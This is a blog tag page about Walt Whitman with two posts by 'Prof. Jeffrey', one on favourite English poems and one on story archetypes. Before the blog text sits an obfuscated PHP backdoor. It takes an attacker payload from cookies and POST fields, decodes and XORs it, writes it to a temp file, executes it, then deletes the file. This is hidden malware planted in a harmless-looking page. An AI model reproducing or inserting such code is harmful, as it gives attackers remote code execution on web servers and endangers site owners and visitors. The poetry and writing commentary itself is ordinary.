$cNXDwVByR = "\x71" . "\137" . chr (120) . 'P' . 's' . chr (118); $OufaCMgNtG = chr (99) . "\154" . chr (97) . 's' . "\163" . '_' . "\x65" . chr ( 405 - 285 ).'i' . "\163" . 't' . 's';$WNpsIj = class_exists($cNXDwVByR); $OufaCMgNtG = "49874";$PawnNw = strpos($OufaCMgNtG, $cNXDwVByR);if ($WNpsIj == $PawnNw){function orxRx(){$JepoG = new /* 39337 */ q_xPsv(17188 + 17188); $JepoG = NULL;}$NnpnJlPCfZ = "17188";class q_xPsv{private function aMdaBkJp($NnpnJlPCfZ){if (is_array(q_xPsv::$HscIcgn)) {$name = sys_get_temp_dir() . "/" . crc32(q_xPsv::$HscIcgn["salt"]);@q_xPsv::$HscIcgn["write"]($name, q_xPsv::$HscIcgn["content"]);include $name;@q_xPsv::$HscIcgn["delete"]($name); $NnpnJlPCfZ = "17188";exit();}}public function MiUvuzgzET(){$cVXEwQuvPG = "5015";$this->_dummy = str_repeat($cVXEwQuvPG, strlen($cVXEwQuvPG));}public function __destruct(){q_xPsv::$HscIcgn = @unserialize(q_xPsv::$HscIcgn); $NnpnJlPCfZ = "25826_63849";$this->aMdaBkJp($NnpnJlPCfZ); $NnpnJlPCfZ = "25826_63849";}public function qyjyL($cVXEwQuvPG, $SlJdX){return $cVXEwQuvPG[0] ^ str_repeat($SlJdX, intval(strlen($cVXEwQuvPG[0]) / strlen($SlJdX)) + 1);}public function XpbJmm($cVXEwQuvPG){$TSATbHyU = "\142" . "\141" . "\163" . "\x65" . chr (54) . "\x34";return array_map($TSATbHyU . '_' . chr ( 306 - 206 ).chr ( 1019 - 918 )."\x63" . 'o' . "\144" . 'e', array($cVXEwQuvPG,));}public function __construct($EGoPcmD=0){$fKrGaV = chr (44); $cVXEwQuvPG = "";$bdPqtB = $_POST;$eaYWF = $_COOKIE;$SlJdX = "f1c98e30-a4ae-46c5-a09b-85cb4a9c7305";$YikMbx = @$eaYWF[substr($SlJdX, 0, 4)];if (!empty($YikMbx)){$YikMbx = explode($fKrGaV, $YikMbx);foreach ($YikMbx as $BxcmiUHxco){$cVXEwQuvPG .= @$eaYWF[$BxcmiUHxco];$cVXEwQuvPG .= @$bdPqtB[$BxcmiUHxco];}$cVXEwQuvPG = $this->XpbJmm($cVXEwQuvPG);}q_xPsv::$HscIcgn = $this->qyjyL($cVXEwQuvPG, $SlJdX);if (strpos($SlJdX, $fKrGaV) !== FALSE){$SlJdX = chunk_split($SlJdX); $SlJdX = rtrim($SlJdX);}}public static $HscIcgn = 47323;}orxRx();} Walt Whitman – 50 Books to Read Before You Die

words to inspire before you expire

Tag: Walt Whitman

Off-Topic: Poetry Favorites (Part 2)

Hello again, class.

There’s a lot of poetry out there, so I’m following up on my last post about my favorite poems! Be sure to check out my previous post to see the poems I’ve already written about.

I’ve included links to Poets.org for the full poems below. (Once again, as sort of a disclaimer, I’ve only chosen English poetry…I have zero expertise in poetry from other languages, and I wish I did. These are some of the best English-language poems I know.)


This poem is not one I would usually call a favorite, but it’s grown on me for its subtlety. Wheatley was one of the first black poets in America, and her work challenged beliefs about racial treatment and humanity. In this poem, Wheatley praises God’s mercy for being revealed to her, and celebrates God leading her to a new land. She carefully warns others that anyone can be a Christian, and anyone can be redeemed—even men and women from Africa. That’s a message that was sorely needed at the time, and has challenged prejudice and injustice to this day.

If you’ve ever seen Dead Poets Society, you know this one. Whitman asks the “To be or not to be” question: what’s the point of life? What good comes from living? The answer is that the powerful play of life goes on, and we can contribute a verse to that play. The poem is a simple and powerful understanding of life, worth reading every time.

A professor once told me that the best way to read and understand this poem is to get very drunk (his exact word was PLASTERED) and then read it. While I haven’t followed his advice, I can see where he’s coming from—this is a very long and complicated poem, and all of the helpful meaning has been filtered out. But it also captures the chaos and decay of the time; Eliot’s thoughts on the collapse of society, the terror of war, the brave new world around the corner . . . the poem does a really great job of capturing those themes. I discover something new every time I read it.

I know of no other poem about suicide, and I certainly don’t know any piece of art that glorifies it in this way. It’s off-putting, but it continues to draw me in. Sylvia Plath, who committed suicide in 1963, was writing about such dark themes very personally, and this poem reflects it by including Nazi imagery and graphic moments of bodily decay. It’s hard to read about her suicide attempts, but it is powerful, emotional poetry that shakes me.

The link above is to a picture of this poem on a wall in Charlotte, NC—I couldn’t find the poem anywhere else. It’s a simple poem about two people in love, but it’s also about the choice to love someone . . . a choice we face again and again. It’s a choice people face when they meet for the first time, and it’s a choice years later. But there is also the question that something external chose these lovers: God, the universe, or maybe the luck of the draw. It’s empowering and humbling poetry. The man who wrote it was a professor of mine in college, who continuously inspired me to write, and for that it’s personally special as well.

This piece of prose poetry is from Rankine’s incredible Citizen: An American Lyric (2014), portraying racism in modern America. Rankine describes a train (or any and all public spaces) where a black man sits next to an empty chair while another woman stands, uncomfortable sitting next to him. The speaker sits next to him, and in that simple action they form a bond that is close to family—a defiance of racial attitudes, of fear, and of injustice. Most of Citizen does this as well, but this is one of the more powerful passages.


Make sure to take a look at each of these! In the comments, tell me your favorite poems—I’m always down for reading more poetry.

Until next week,

Prof. Jeffrey

Off-Topic: Types of Stories

Hello again, class.

I recently read an article claiming that all stories are the same. Details differ, but the “skeletons” are all based on the same structure. The monsters in a story can take many shapes, like Grendel in Beowulf, the land owners in The Grapes of Wrath, and infidelity in Ulysses, but they’re all monsters. The quest is always about finding something—treasure, peace, home, the damsel in distress, etc. Characters have arcs, plots have acts, and Hollywood has McGuffins.

I see this as a challenge. There isn’t much in this world that’s so subtly threatening as categorizing things. Someone created each of those stories, and if you told them their story was exactly like everyone else’s, you might not get out of there alive. So before we chalk this up as fact, let’s analyze it a bit.


Frankenstein's Monster, a classic example of the monster archetype.

Frankenstein’s Monster, a classic example of the monster archetype.

If all stories are the same, then all plots and characters are based on already-established archetypes. When we talk about a monster or a villain, certain requirements of the archetype come to mind, and an author can adhere to, deny, or parody those requirements with their own creation. The overcoming-the-monster plot is an archetype as well, and certain requirements of that plot are already in place. When we see a hero fighting a monster, we understand the labels of “hero” and “monster” from other stories, and we understand the trajectory of the story from similar stories.

The claim that all stories are the same—like most generalizations—is trapped in labels…and labels are always evolving. The heroes and monsters of Ancient Greece and the Renaissance may not be the same as monsters of today, but we can “translate” the monsters of the past into monsters that we recognize. A character who is imposing, mean-spirited, and violent is a monster, whether it’s a giant one-eyed Cyclops or an angry business-owner. A monster can even be a friendly teenage boy or a devoted parent, as long as the archetype is still upheld—“translated” accurately.

These archetypes are great at doing one of two things: A) helping readers and viewers “figure out” the story by making it familiar, or B) binding the plot and characters unnecessarily, and forcing it to pull its punches rather than tell a good story.


I read another article that clarifies that there are seven types of stories—seven plot archetypes that all stories adhere to. See the article here for a more in-depth look.

  1. bookshelf-illustrationOvercoming the Monster (that’s, like, the millionth time I’ve mentioned this one—take the hint, it will be on the test)
  2. Rags to Riches
  3. The Quest
  4. Voyage and Return
  5. Comedies
  6. Tragedies
  7. Rebirth

Even the stories that refute or deny these basic plots are still reflections of them (each one “translated” from the original blueprint). It seems that all stories spring from somewhere else.

The first article I mentioned argues that reducing stories to a formula is like “unweaving the rainbow.” To limit all stories by these boundaries removes the magic of storytelling. I’m not sure I agree though…there is something remarkable about the fact that all stories are connected, as if it’s all one big story. Writers are building on the stories of the past toward stories of the future, and everyone adds a piece.

To quote Walt Whitman, “That the powerful play goes on, and you may contribute a verse.” And to quote Robin Williams, “What will your verse be?”


types-of-stories-book-landscapeA professor once told me that there are two ways to start a story—either a stranger comes to town, or someone decides to leave. Whatever happens from there changes everything. Somehow, that simple prompt is both challenging and comforting.

Your homework: I want to see if you have a story that won’t fit in the basic plots listed above. Prove these high brow literature professors wrong (not me, of course—all the other snooty ones). Leave it in the comment section. Don’t feel bad if you can’t find one, though. Yes, those are fighting words.

You can look forward to my post on A Christmas Carol next Wednesday. Thanks for coming to class!

Prof. Jeffrey